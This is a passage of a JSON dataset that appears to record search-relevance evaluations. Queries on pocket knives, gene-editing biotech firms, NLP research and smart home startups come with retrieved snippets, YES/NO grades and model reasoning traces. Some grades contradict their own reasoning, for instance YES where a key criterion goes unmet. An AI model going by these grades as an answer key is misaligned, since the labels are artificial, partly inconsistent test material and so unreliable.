XR LTE   2 - The Best Pocket Knife on a Budget: CIVIVI Elementum   3 - The Best Traditional Pocket Knife: Buck The 55   4 - The Best Tactical Pocket Knife: Ontario Knife Company Rat II   5 - The Best Lightweight Pocket Knife: Spyderco Para 3 Lightweight   6 - CRKT CEO EDC Folding Pocket Knife   7 - Gerber Fastball Pocket Knife   8 - Benchmade Bugout 535 Pocket Knife   9 - Benchmade Mini Bugout 533 Pocket Knife   10 - SOG Stout FLK Pocket Knife   11 - B\u00f6ker Magnum Damascus Duke Folding Knife   12 - Steel Will Cutjack Pocket Knife   13 - BLUE RIDGE Knives Zancudo Pocket Knife   14 - WE Knife Banter Pocket Knife   15 - Gerber Sedulo Pocket Knife  ",
                "model_trace": "Query Decomposition:\n1. {most durable}: The document does not explicitly mention durability as a criterion -> ([0], UNSURE)\n2. {edc (everyday carry)}: The document is about EDC pocket knives -> ([1], SATISFIED)\n3. {folding knife}: The document lists various folding pocket knives -> ([1], SATISFIED)\n\nAssessment: The document provides a list of EDC folding knives, which satisfies two key subcomponents. However, it does not specifically address the durability of these knives, which is a critical aspect of the query. Since the primary intent of the query is to find the most durable knife, the lack of information on durability makes the document less useful.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "The 13 Best Pocket Knives to Carry Every Day",
                "url": "https://www.popularmechanics.com/adventure/outdoor-gear/g2975/best-pocket-knives/",
                "published_date": null,
                "text": "Popular Mechanics; Courtesy Benchmade\n\t  You want a pocket knife for one seemingly simple reason: to keep on you for when you need to cut things. Still, that can involve any number of tasks, from the mundane to the gnarly. You might be looking to skin an elk or cut fruit from a tree, but a pocket knife can also open your packages, slice off a hunk of cheese for a friend, or cut a loose string that threatens to unravel the whole sweater. The best knife is sharp enough to get the job done and convenient enough to bring everywhere. These are the models worth your hard-earned buck. Best Pocket Knives  \n\t\n\t\n\t\n\t\n\t\n\tEditors\u2019 Choice\n\tTwitch II\n\tSOG\n\t Read More\n\t \n\t\n\t\n\t\n\t\n\t\n\t\n\tBest Spring-Assisted Knife\n\tLink\n\tKershaw\n\t Read More\n\t \n\t\n\t\n\t\n\t\n\t\n\t\n\tMidsize Model\n\tTerran\n\tKershaw\n\t Read More\n\t \n\t\n\t\n\t\n\t\n\t\n\t\n\tBest Value\n\tNo. 8 Carbon Steel\n\tOpinel\n\t Read More\n\t \n\t\n\t\n\t\n\t\n\t\n\t\n\tSecure Grip\n\tDelica 4 FRN Flat Ground\n\tSpyderco\n\t Read More\n\t \n\t\n\t\n The Expert: My grandmother once chided me (then knife-less) that a man with a pocket knife was worth an extra dollar an hour on their dairy farm. I never showed up to her house without one after that and I\u2019ve probably carried a pocket knife for 95 percent of the days of my adult life. My preferences for a good pocket knife have evolved considerably over those 30 years, and my collection of pocket knives has grown as well. I now have different knives for different days and activities and have tested most of the top models from the top brands over the past few years.  What to Look for in a Pocket Knife Folder When considering knives for everyday carry (EDC), look for a folding option that easily fits on your belt or in your pocket when closed. It should be light enough to carry comfortably but with a blade and handle that are sized to your liking. Most blades in this category measure from 2 to 3.5 inches long and have a drop-point shape. Most handles range from 3.5 to 5 inches. Get a folding knife that locks out. It won\u2019t close on your fingers during use, which makes it safer, and the stiffne",
                "model_trace": "Query Decomposition:\n1. [most durable]: The document does not explicitly mention the durability of the knives -> ([0], UNSURE)\n2. [edc folding knife]: The document discusses pocket knives, which are commonly used as EDC (Everyday Carry) folding knives -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponent here is {edc folding knife}, which is satisfied as the document discusses pocket knives suitable for everyday carry. However, the query specifically asks for the \"most durable\" EDC folding knife, and the document does not provide information to evaluate durability. Since the key aspect of durability is not addressed, the document is not fully helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "biotech company that develops novel gene editing therapies for rare diseases",
        "grid_pos": [
            0,
            4
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The queries cover a range of technology sectors including AI, biotech, consumer electronics, cloud computing, and renewable energy. They require knowledge of the tech industry, business models, and technical capabilities to properly evaluate. The queries are specific with technical details but still broadly applicable to major tech companies and startups."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Gene editing without limits",
                "url": "https://www.lifeeditinc.com/",
                "published_date": "2022-01-01",
                "text": "We\u00e2\u0080\u0099ve done some editing! Life Edit Therapeutics has joined ElevateBio\u00e2\u0080\u0099s portfolio of therapeutic, technology, and manufacturing companies and reimagined our identity. Our brand is an expression of our values, mission, and commitment to paving the way to faster, safer, more innovative gene editing therapeutics that treat diseases once thought to be incurable.",
                "model_trace": "Query Decomposition:\n1. {biotech company}: The document is from a company called Life Edit Therapeutics, which is a biotech company -> ([1], SATISFIED)\n2. {develops novel gene editing therapies}: The document mentions that Life Edit Therapeutics is committed to innovative gene editing therapeutics -> ([1], SATISFIED)\n3. {for rare diseases}: The document states that they treat diseases once thought to be incurable, which likely includes rare diseases -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "LogicBio Therapeutics - Pioneering Genetic Medicine",
                "url": "https://www.logicbio.com/",
                "published_date": "2023-02-06",
                "text": "Delivering the hope of \n genetic medicine to patients \n with rare diseases\n\nWe\u2019re harnessing the body\u2019s natural DNA repair \n process to provide precise, stable and durable \n therapies to patients with serious genetic \n diseases\n\nPioneering a safer, site-specific genome-editing technology",
                "model_trace": "Query Decomposition:\n1. [biotech company]: The document is about LogicBio Therapeutics, which is a biotech company -> ([1], SATISFIED)\n2. [develops novel gene editing therapies]: The document mentions that the company is pioneering a safer, site-specific genome-editing technology -> ([1], SATISFIED)\n3. [for rare diseases]: The document states that the company is delivering genetic medicine to patients with rare diseases -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "GenEdit | Revolutionizing Genetic Medicines",
                "url": "https://genedit.com/",
                "published_date": "2019-05-15",
                "text": "A Galaxy of Opportunity Developing innovative therapies through targeted delivery of genetic medicines.\n\nOur team envisions a world where genetic medicines are available to many more patients than today. We are realizing a new era in this field \u2013 one in which we can edit out disease and rewrite patient health.\n\nA Different Kind of Delivery Platform We are advancing therapies enabled by our delivery platform, NanoGalaxy\u2122. Delivery challenges have historically prevented genetic medicines from reaching their full potential to benefit patients. With NanoGalaxy, we can overcome prior limitations and effectively treat a myriad of diseases.\n\nA Universe of Possibilities At GenEdit, there is a new universe of possibilities for effective and safe genetic medicines. Interested in exploring further? Discover our current career opportunities.",
                "model_trace": "Query Decomposition:\n1. {biotech company}: The document is about GenEdit, which is a biotech company -> ([1], SATISFIED)\n2. {develops novel gene editing therapies}: The document mentions that GenEdit is developing innovative therapies through targeted delivery of genetic medicines, which implies novel gene editing therapies -> ([1], SATISFIED)\n3. {for rare diseases}: The document states that GenEdit aims to treat a myriad of diseases, but does not specify if these include rare diseases -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponents {biotech company} and {develops novel gene editing therapies}. The subcomponent {for rare diseases} is tagged [0] and does not affect the evaluation. Therefore, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "10 biotech companies making a difference in rare diseases",
                "url": "https://www.labiotech.eu/best-biotech/10-biotech-companies-rare-diseases/",
                "published_date": null,
                "text": "February 28 is Rare Disease Day, which looks to raise awareness of rare diseases and bring about change for patients and families living with them.   The event also brings attention to the need for improved access to diagnosis, as well as the need to develop more treatments to tackle a broader range of diseases. There are currently many biotech companies around the world working on and specializing in developing therapies and treatments for people with rare diseases.   Research and development involving rare diseases has increased over the past few years, largely thanks to major advances in technology and novel therapeutic platforms that can target the root cause of these disorders. Today, there are more than 700 clinical trials in progress hoping to create approved medicines for rare diseases.\u00a0 There have already been many success stories involving some of the biotech companies listed in this article, including treatments for rare diseases such as paroxysmal nocturnal hemoglobinuria (PNH), congenital athymia and immunoglobulin (IgA) nephropathy.\u00a0 Here are 10 biotech companies making waves with their work on rare diseases.  Table of contents     Apellis\u00a0 Headquarters: Waltham, U.S.Founded: 2009 Apellis mission is to develop life-changing treatments for a broad range of debilitating diseases spanning ophthalmology, rare disease and neurology by controlling a part of the immune system called the complement cascade, which plays a crucial role in defending against common pathogens. However, the cascade can sometimes be overactivated and attack healthy cells and tissues as well. To try and prevent this from happening, the company specifically targets the central protein, C3, because it addresses all three activation pathways that can cause and drive serious diseases. The targeted C3 approach has already provided Apellis with two success stories, resulting in two FDA-approved medicines: Syfovre, which was approved this month and is used to treat GA, and Empaveli, which was the company\u2019s first U.S. Food and Drug Adminis",
                "model_trace": "Query Decomposition:\n1. {biotech company}: The document lists multiple biotech companies -> ([1], SATISFIED)\n2. {develops novel gene editing therapies}: The document does not explicitly mention gene editing therapies -> ([0], UNSURE)\n3. {for rare diseases}: The document focuses on biotech companies working on therapies for rare diseases -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {biotech company} and {for rare diseases}. Since both of these subcomponents are satisfied, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Tevard Biosciences \u2013 Lifelong cures for patients with rare genetic ...",
                "url": "https://tevard.com/",
                "published_date": null,
                "text": "Our Story\n Tevard Biosciences was founded by renowned MIT molecular cell biologist Professor Harvey Lodish, along with Daniel Fischer and Warren Lammert, parents of children with Dravet syndrome, with the goal of developing novel gene therapy approaches to cure this and many other types of genetic diseases.\n \n \n    Tevard (t\u0101-v\u0259rd) \nreversing Dravet\u2026\n \n  \n Setting out to find revolutionary approaches to cure patients with Dravet, Harvey, together with the research labs of Professors Jeff Coller and Chris Ahern, invented two unique tRNA-based platforms that could cure not only Dravet, but many other rare diseases caused by having only one healthy copy of a gene leads to insufficient protein productionhaploinsufficiency and/or substitution of a single nucleotide produces a premature stop codon, leading to truncated, non-functional proteinsnonsense mutations.\n \n Dravet syndrome is a rare and severe form of epilepsy that affects approximately 1 in 16,000 individuals. In 85% of cases, Dravet is caused by a loss-of-function mutation in one copy (haploinsufficiency) of the SCN1A gene. Over 20% of Dravet causing mutations are premature stop codons, causing production of a nonfunctional protein fragment.\nDue to its large size, the SCNIA gene cannot be delivered by common viral vectors. What\u2019s more, over-expressing SCN1A can have deleterious effects. Therefore, Dravet\u2014like many other genetic diseases\u2014is not amenable to traditional gene therapy approaches.\n \n \n \n   \n RECIPIENT OF THE 2018\nPFIZER GOLDEN TICKET \n \n Early on, Tevard was a recipient of Pfizer\u2019s coveted Golden Ticket award, recognizing the company\u2019s \u201coverall vision clarity, quality of the science and the passion and personal meaning behind the research.\u201d\n \n \n \n \n  Our Science\n  \n \n \n We have developed two unique tRNA-based therapies with the potential to provide durable cures for many rare diseases.\n \n  \n \n \n Suppressor tRNAs\n \n For diseases caused by nonsense mutations. By using a viral vector to express a patented tRNA in targeted cells, we insert the normal a",
                "model_trace": "Query Decomposition:\n1. {biotech company}: The document is about Tevard Biosciences, which is a biotech company -> ([1], SATISFIED)\n2. {develops novel gene editing therapies}: The document mentions that Tevard Biosciences is developing novel gene therapy approaches, specifically tRNA-based therapies -> ([1], SATISFIED)\n3. {for rare diseases}: The document states that Tevard Biosciences focuses on curing rare genetic diseases, including Dravet syndrome -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "Coave Therapeutics \u2013 Coave Therapeutics is a clinical stage ...",
                "url": "https://coavetx.com/",
                "published_date": null,
                "text": "The misfolding and accumulation of disease-related proteins are common hallmarks of several neurodegenerative diseases. As examples, beta-amyloid and tau in Alzheimer\u2019s disease, alpha-synuclein (aSyn) in Parkinson disease and related disorders, and mutated huntingtin in Huntington\u2019s disease, are shown to contribute to disease progression and neurodegeneration.\nPathological accumulation of aSyn is the common distinguishing trait amongst the group of brain disorders known as synucleinopathies, which include Parkinson\u2019s disease (PD), Dementia with Lewy bodies (DLB), and Multiple System Atrophy (MSA). These disorders progressively develop neuronal and glial inclusions enriched with misfolded, phosphorylated and insoluble aSyn.\nOver the past decade, several treatment strategies directly targeting aSyn have been evaluated in preclinical and clinical studies. These diverse approaches include removal of aggregated aSyn with passive or active immunization or by expression of vectorized antibodies, modulating kinetics of misfolding with small molecule anti-aggregants, lowering aSyn gene expression by antisense oligonucleotides or inhibitory RNA.\nMore recently, several new approaches aiming to harness the natural cellular machinery for degradation of toxic protein aggregates, including aSyn, have been investigated.\nThe autophagy lysosomal pathway (ALP) is a central cellular pathway enabling the degradation of toxic protein aggregates. Key factors of the ALP, such as Glucocerebrosidase (GBA1) and Transcription Factor EB (TFEB), have been shown to play important roles in aSyn clearance mechanisms (Figure X).\nAt Coave, using our ALIGATER\u2122 platform, we have generated coAAV based gene therapy delivering a safe, low dose of GBA1 and TFEB precisely in the targeted structures of the central nervous system (CNS), aiming to activate or restore the macro-autophagy and lysosomal functions to eliminate or prevent the accumulation of toxic protein aggregates associated with neurodegenerative disease.",
                "model_trace": "Query Decomposition:\n1. {biotech company}: The document is about Coave Therapeutics, which is a biotech company -> ([1], SATISFIED)\n2. {develops novel gene editing therapies}: The document mentions gene therapy using the ALIGATER\u2122 platform, which involves gene delivery, but it does not explicitly mention gene editing -> ([2], UNSURE)\n3. {for rare diseases}: The document discusses therapies for neurodegenerative diseases like Parkinson\u2019s disease and Huntington\u2019s disease, which are not typically classified as rare diseases -> ([2], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {biotech company} and {develops novel gene editing therapies}. While the document satisfies the first subcomponent, it is unclear whether the therapies involve gene editing, and it does not satisfy the subcomponent related to rare diseases. Therefore, the document is not helpful for the user's query. NO."
            }
        ]
    },
    {
        "query": "latest advancements in deep learning techniques for natural language processing in scientific literature",
        "grid_pos": [
            0,
            0
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "These queries cover a range of technical topics that require a deep understanding of the latest research in computer science, social science, chemistry, and logistics. They are specific and detailed, drawing on specialized domain knowledge, yet still representative of the kinds of queries a user might plausibly submit to a search engine like Exa. The queries test Exa's ability to parse complex natural language, identify relevant scientific publications, and provide summaries of the latest advancements in these active research areas."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Large Language Models for Scientific Synthesis, Inference and Explanation",
                "url": "https://arxiv.org/abs/2310.07984",
                "published_date": "2023-10-12",
                "text": "",
                "model_trace": "Query Decomposition:\n1. [latest advancements]: The document is published in October 2023, indicating it is recent -> ([1], SATISFIED)\n2. [deep learning techniques]: The title mentions \"Large Language Models,\" which are a subset of deep learning techniques -> ([1], SATISFIED)\n3. [natural language processing]: The title indicates the use of language models for synthesis, inference, and explanation, which are tasks in natural language processing -> ([1], SATISFIED)\n4. [scientific literature]: The document is hosted on arXiv, a repository for scientific papers -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "SciBERT: Pretrained Contextualized Embeddings for Scientific Text",
                "url": "https://arxiv.org/abs/1903.10676v2",
                "published_date": "2019-03-26",
                "text": "SCIBERT: A Pretrained Language Model for Scientific Text\n\nDate Published: 2019-09-10\n\nAuthors:\nIz Beltagy, Allen Institute for Artificial Intelligence, Seattle, WA, USA, beltagy@allenai.org\nKyle Lo, Allen Institute for Artificial Intelligence, Seattle, WA, USA, kylel@allenai.org\nArman Cohan, Allen Institute for Artificial Intelligence, Seattle, WA, USA, armanc@allenai.org\n\nAbstract\n\nObtaining large-scale annotated data for NLP tasks in the scientific domain is challenging and expensive. We release SCIBERT, a pretrained language model based on BERT (Devlin et al., 2019) to address the lack of high-quality, large-scale labeled scientific data.\nSCIBERT leverages unsupervised pretraining on a large multi-domain corpus of scientific publications to improve performance on downstream scientific NLP tasks. We evaluate on a suite of tasks including sequence tagging, sentence classification and dependency parsing, with datasets from a variety of scientific domains. We demonstrate statistically significant improvements over BERT and achieve new state-of-theart results on several of these tasks. The code and pretrained models are available at https://github.com/allenai/scibert/.\n\n1 Introduction\n\nThe exponential increase in the volume of scientific publications in the past decades has made NLP an essential tool for large-scale knowledge extraction and machine reading of these documents. Recent progress in NLP has been driven by the adoption of deep neural models, but training such models often requires large amounts of labeled data. In general domains, large-scale training data is often possible to obtain through crowdsourcing, but in scientific domains, annotated data is difficult and expensive to collect due to the expertise required for quality annotation.\n\nAs shown through ELMo (Peters et al., 2018) , GPT (Radford et al., 2018) and BERT (Devlin et al., 2019) , unsupervised pretraining of language models on large corpora significantly improves performance on many NLP tasks. These models return contextualized embeddings for",
                "model_trace": "Query Decomposition:\n1. {latest advancements in deep learning techniques}: The document discusses SCIBERT, which is a recent advancement based on BERT, indicating it is a relevant deep learning technique -> ([1], SATISFIED)\n2. {natural language processing}: The document is about a pretrained language model specifically designed for NLP tasks -> ([1], SATISFIED)\n3. {scientific literature}: The document focuses on a language model for scientific text, which directly relates to NLP in the context of scientific literature -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents, making it highly relevant to the query. YES."
            },
            {
                "grade": "YES",
                "title": "Universal Language Model Fine-tuning for Text Classification",
                "url": "https://arxiv.org/abs/1801.06146v4",
                "published_date": "2018-01-18",
                "text": "Universal Language Model Fine-tuning for Text Classification\n\nDate Published: 2018-05-23\n\nAuthors:\nJeremy Howard\nSebastian Ruder, sebastian@ruder.io\n\nAbstract\n\nInductive transfer learning has greatly impacted computer vision, but existing approaches in NLP still require task-specific modifications and training from scratch. We propose Universal Language Model Fine-tuning (ULMFiT), an effective transfer learning method that can be applied to any task in NLP, and introduce techniques that are key for fine-tuning a language model. Our method significantly outperforms the state-of-the-art on six text classification tasks, reducing the error by 18-24% on the majority of datasets. Furthermore, with only 100 labeled examples, it matches the performance of training from scratch on 100\u00d7 more data. We opensource our pretrained models and code 1 .\n\n1 Introduction\n\nInductive transfer learning has had a large impact on computer vision (CV). Applied CV models (including object detection, classification, and segmentation) are rarely trained from scratch, but instead are fine-tuned from models that have been pretrained on ImageNet, MS-COCO, and other datasets (Sharif Razavian et al., 2014; Long et al., 2015a; He et al., 2016; Huang et al., 2017) .\n\nText classification is a category of Natural Language Processing (NLP) tasks with real-world applications such as spam, fraud, and bot detection (Jindal and Liu, 2007; Ngai et al., 2011; Chu et al., 2012) , emergency response (Caragea et al., 2011) , and commercial document classification, such as for legal discovery (Roitblat et al., 2010) .\n\nWhile Deep Learning models have achieved state-of-the-art on many NLP tasks, these models are trained from scratch, requiring large datasets, and days to converge. Research in NLP focused mostly on transductive transfer (Blitzer et al., 2007) . For inductive transfer, fine-tuning pretrained word embeddings (Mikolov et al., 2013) , a simple transfer technique that only targets a model's first layer, has had a large impact in practice and is used ",
                "model_trace": "Query Decomposition:\n1. {latest advancements in deep learning techniques}: The document discusses Universal Language Model Fine-tuning (ULMFiT), which is a deep learning technique -> ([1], SATISFIED)\n2. {for natural language processing}: The document specifically applies ULMFiT to NLP tasks -> ([1], SATISFIED)\n3. {in scientific literature}: The document is a scientific paper published on arXiv -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Advancements in Natural Language Processing (NLP) and Future ...",
                "url": "https://medium.com/@soukaina./advancements-in-natural-language-processing-nlp-and-future-expectations-33bec2a42d14",
                "published_date": null,
                "text": "Introduction: Natural Language Processing (NLP) has emerged as a revolutionary field of artificial intelligence that enables computers to understand, interpret, and interact with human language. Over the years, NLP has witnessed significant advancements, with breakthroughs in deep learning and transformer-based models like BERT and GPT-3. These advancements have not only transformed the way we communicate with machines but have also opened up new possibilities in various sectors, including customer service, healthcare, finance, and education. In this article, we will explore the key NLP advancements and discuss the future expectations for this dynamic and rapidly evolving field.   Advancements in NLP: Transformer-based Models: One of the most significant breakthroughs in NLP has been the development of transformer-based models. Transformers have overcome the limitations of traditional recurrent neural networks (RNNs) and convolutional neural networks (CNNs) by introducing self-attention mechanisms. This allows the models to process entire sequences of text simultaneously, enabling more efficient and accurate natural language understanding. BERT (Bidirectional Encoder Representations from Transformers): Introduced by Google in 2018, BERT is a pre-trained language model capable of capturing context and meaning from both the left and right sides of a word. This bidirectional approach revolutionized NLP tasks such as sentiment analysis, question-answering, and text classification, achieving state-of-the-art results. GPT-3 (Generative Pre-trained Transformer 3): Released by OpenAI in 2020, GPT-3 is a massive language model with 175 billion parameters, making it one of the largest AI models to date. GPT-3\u2019s remarkable ability to generate human-like text has had a profound impact on various applications, including chatbots, content generation, and creative writing. Transfer Learning: Transfer learning has played a crucial role in NLP advancements. Pre-trained models like BERT and GPT-3 can be fine-tuned for specific tas",
                "model_trace": "Query Decomposition:\n1. [latest advancements in deep learning techniques]: The document discusses recent advancements in deep learning techniques, specifically transformer-based models like BERT and GPT-3 -> ([1], SATISFIED)\n2. [natural language processing]: The document is focused on advancements in natural language processing (NLP) -> ([1], SATISFIED)\n3. [scientific literature]: The document does not specify that the information is derived from scientific literature -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {latest advancements in deep learning techniques} and {natural language processing}, both of which are satisfied. The subcomponent {scientific literature} is tagged [0], so it is ignored in the evaluation. Therefore, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Deep Learning for Natural Language Processing: Current Trends ...",
                "url": "https://www.researchgate.net/publication/375601423_Deep_Learning_for_Natural_Language_Processing_Current_Trends_and_Future_Directions",
                "published_date": null,
                "text": "The field of Natural Language Processing (NLP) has witnessed a transformative revolution with the advent of deep learning. This paper explores the current landscape and future prospects of NLP through the lens of deep learning. NLP is not only a critical component of human-computer interaction but also has significant implications across various industries, from healthcare to finance and beyond. Deep learning models, with their ability to process vast amounts of text data, have driven groundbreaking achievements in tasks such as machine translation, sentiment analysis, chatbots, and more. This paper commences by delving into the historical progression of NLP and deep learning, highlighting pivotal milestones and the convergence of these two domains. It navigates through the fundamental principles of deep learning in NLP, elucidating neural networks, word embeddings, and recurrent neural networks. These foundations underpin the robust capabilities of deep learning models, rendering them adept at capturing intricate linguistic nuances. The crux of this paper lies in dissecting the current trends in deep learning for NLP. Recent advancements, epitomized by models like BERT and GPT-3, have revolutionized the field, enabling state-of-the-art performance across a spectrum of NLP tasks. The concept of transfer learning, where models pre-trained on massive datasets are fine-tuned for specific tasks, has become a cornerstone of contemporary NLP. Attention mechanisms, exemplified by the Transformer architecture, have also played a pivotal role in enhancing the efficacy of NLP models. However, scaling these models to handle ever-increasing data volumes and complexities presents its own set of challenges.    Discover the world's research   25+ million members 160+ million publication pages 2.3+ billion citations    Join for free          \n                    \n            \n        \n        \n        \n                                        \n             53   Deep Learning for Natural  Language Processing: Current Trends and  F",
                "model_trace": "Query Decomposition:\n1. {latest advancements in deep learning techniques}: The document discusses recent advancements in deep learning for NLP, including models like BERT and GPT-3, attention mechanisms, and the Transformer architecture -> ([1], SATISFIED)\n2. {natural language processing}: The document is focused on deep learning for natural language processing -> ([1], SATISFIED)\n3. {scientific literature}: The document is a scientific paper published on ResearchGate, which is a platform for scientific literature -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "[PDF] Advancements in Natural Language Processing for Text ...",
                "url": "https://www.e3s-conferences.org/articles/e3sconf/pdf/2023/36/e3sconf_iconnect2023_04031.pdf",
                "published_date": null,
                "text": "Advancements in Natural Language Processing for \nText Understanding \nDr. M.John Basha1,* Dr.S.Vijayakumar2\nJ.Jayashankari3 Ahmed Hussein Alawadi4Pulatova Durdona5\n1Assistant Professor,Department of Computer Science and Engineering(Specialization)School of \nEngineering & TechnologyJain University, Bangalore - 562112Karnataka, India . \n2Assistant Professor, B.S.Abdur Rahman Crescent Institute of Science and Technology, Vandalur, \nChennai 48. \n3Assistant Professor, Prince Shri Venkateshwara Padmavathy Engineering College, Chennai - 127 \njayashankari_it@psvpec.in\n4College of technical engineering, The Islamic university, Najaf, Iraq. \nahmedalawadi@iunajaf.edu.iq 5Tashkent State Pedagogical University, Tashkent, Uzbekistan.E\u0002mail: \ndurdonapulatova88@gmail.com \nAbstract- Natural language processing (NLP) developments have made it \npossible for robots to read and analyze human language with astounding \nprecision, revolutionizing the field of text understanding. An overview of \ncurrent advancements in NLP approaches and their effects on text \ncomprehension are provided in this abstract. It examines significant \ndevelopments in fields including named entity identification, sentiment \nanalysis, semantic analysis, and question answering, highlighting the \ndifficulties encountered and creative solutions put forth. To sum up, recent \ndevelopments in natural language processing have raised the bar for text \ncomprehension. Deep learning models and extensive pre-training have \nchanged methods including semantic analysis, sentiment analysis, named \nentity identification, and question answering. These developments have \nproduced text comprehension systems that are increasingly precise and \ncomplex. However, issues with prejudice, coreference resolution, and \ncontextual comprehension still need to be resolved. The future of NLP for \ntext understanding has considerable potential with continuing study and \ninnovation, opening the door for increasingly sophisticated applications in \nnumerous sectors. \nINTRODUCTION \nNLP is built on sem",
                "model_trace": "Query Decomposition:\n1. {latest advancements in deep learning techniques}: The document discusses recent developments in NLP, including deep learning models and extensive pre-training -> ([1], SATISFIED)\n2. {natural language processing}: The document is specifically about advancements in NLP -> ([1], SATISFIED)\n3. {scientific literature}: The document appears to be a scientific paper or conference proceeding, which qualifies as scientific literature -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            }
        ]
    },
    {
        "query": "consumer electronics startup that makes smart home devices with advanced voice control",
        "grid_pos": [
            0,
            4
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The queries cover a range of technology sectors including AI, biotech, consumer electronics, cloud computing, and renewable energy. They require knowledge of the tech industry, business models, and technical capabilities to properly evaluate. The queries are specific with technical details but still broadly applicable to major tech companies and startups."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Josh.ai | Voice Control - Artificial Intelligence - Smart Home Automation",
                "url": "https://www.josh.ai/",
                "published_date": "2017-01-01",
                "text": "Your browser does not support the video tag.\n\nImagine More\n Privacy\n Innovation\n Beauty\n Peace\n Comfort\n Flexibility\n Simplicity\n Security\n Delight\n Time\n Wellness\n Intelligence\n Magic\n\nWATCH VIDEO\n\nJosh was born out of the idea that your home should inspire, embolden, and delight you and the people around you. By utilizing advanced AI technologies, including natural interfaces like voice and touch, Josh orchestrates the technology in all aspects of your home to deliver an exciting and effortless living experience.\n\nOK Josh,Play jazz, dim the lights and start the fireplace.\n Josh can control various devices in some of the most exclusive homes in the world.\n\ndevice-icon/appliance-icon\n\nAPPLIANCES\n\ndevice-icon/cameras-icon\n\nCAMERAS\n\ndevice-icon/music-icon\n\nMUSIC\n\ndevice-icon/fans-icon\n\nFANS\n\ndevice-icon/doorstation-icon\n\nDOOR STATIONS\n\ndevice-icon/fireplace-icon\n\nFIREPLACES\n\ndevice-icon/garage-icon\n\nGARAGE DOORS\n\ndevice-icon/keypad-icon\n\nKEYPADS\n\ndevice-icon/lights-icon\n\nLIGHTS\n\ndevice-icon/sensors-icon\n\nSENSORS\n\ndevice-icon/shades-icon\n\nSHADES\n\ndevice-icon/switches-icon\n\nSWITCHES\n\ndevice-icon/thermostat-icon\n\nTHERMOSTATS\n\ndevice-icon/gates-icon\n\nGATES\n\nVoice Control, Naturally\n\nSIMPLE TO USE\n Our prioprietary Natural Language Processing technology lets you speak to your home naturally, like you would a family member or friend.\n\nBUILT FOR EVERYONE\n Josh.ai was designed to be used by everyone in the home. Whether you are young, old, vision impaired, or otherwise disabled, as long as you can speak, you can use Josh.\n\nWELLNESS LIVING\n Live a better and healthier life through technologies such as circadian lighting control, air quality sensors, and generative healing music, all orchestrated together by Josh.\n\nArtificial Intelligence As Unique As The Homes It Runs\n AI As Unique As Your Home\n\nPattern recognition\n Josh learns without being intrusive or obnoxious. If you like the shades closed on a hot afternoon, Josh will take note of that preference.\n\nSecure & private\n Privacy is our number one concern. Your data will ne",
                "model_trace": "Query Decomposition:\n1. {consumer electronics startup}: The document is about Josh.ai, which appears to be a company involved in consumer electronics -> ([1], SATISFIED)\n2. {makes smart home devices}: The document mentions that Josh.ai controls various smart home devices such as lights, thermostats, and garage doors -> ([1], SATISFIED)\n3. {advanced voice control}: The document highlights that Josh.ai uses advanced natural language processing for voice control -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "POWER+",
                "url": "https://www.savant.com/",
                "published_date": "2014-01-01",
                "text": "POWER+ LIGHTING+ SECURITY+ COMFORT+ ENTERTAINMENT+ INNOVATION Personalized smart energy management and monitoring, all from inside your standard electrical panel. Learn More End-to-end lighting solutions for every home and every mood. Learn More A new threshold in home security, with connected entry, personalized notifications and on-demand video history. Learn More Beyond climate control, introducing sophisticated home management from your thermostat. Learn More High performance entertainment, from every room in the house. Learn More Building on more than 100 years of innovative spirit to deliver the next level of smart home experience. Learn More",
                "model_trace": "Query Decomposition:\n1. {consumer electronics startup}: The document does not explicitly mention if Savant is a startup -> ([0], UNSURE)\n2. {makes smart home devices}: The document mentions various smart home solutions like lighting, security, climate control, and entertainment -> ([1], SATISFIED)\n3. {advanced voice control}: The document does not mention voice control capabilities -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {makes smart home devices}, which is satisfied. However, the document does not provide enough information to evaluate whether Savant is a startup or if their devices have advanced voice control. Given the lack of critical information about voice control and startup status, the document is not fully aligned with the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Smart Home - The Last You'll Ever Need - Ezlo Smart Home",
                "url": "https://www.ezlo.com/",
                "published_date": "2022-03-16",
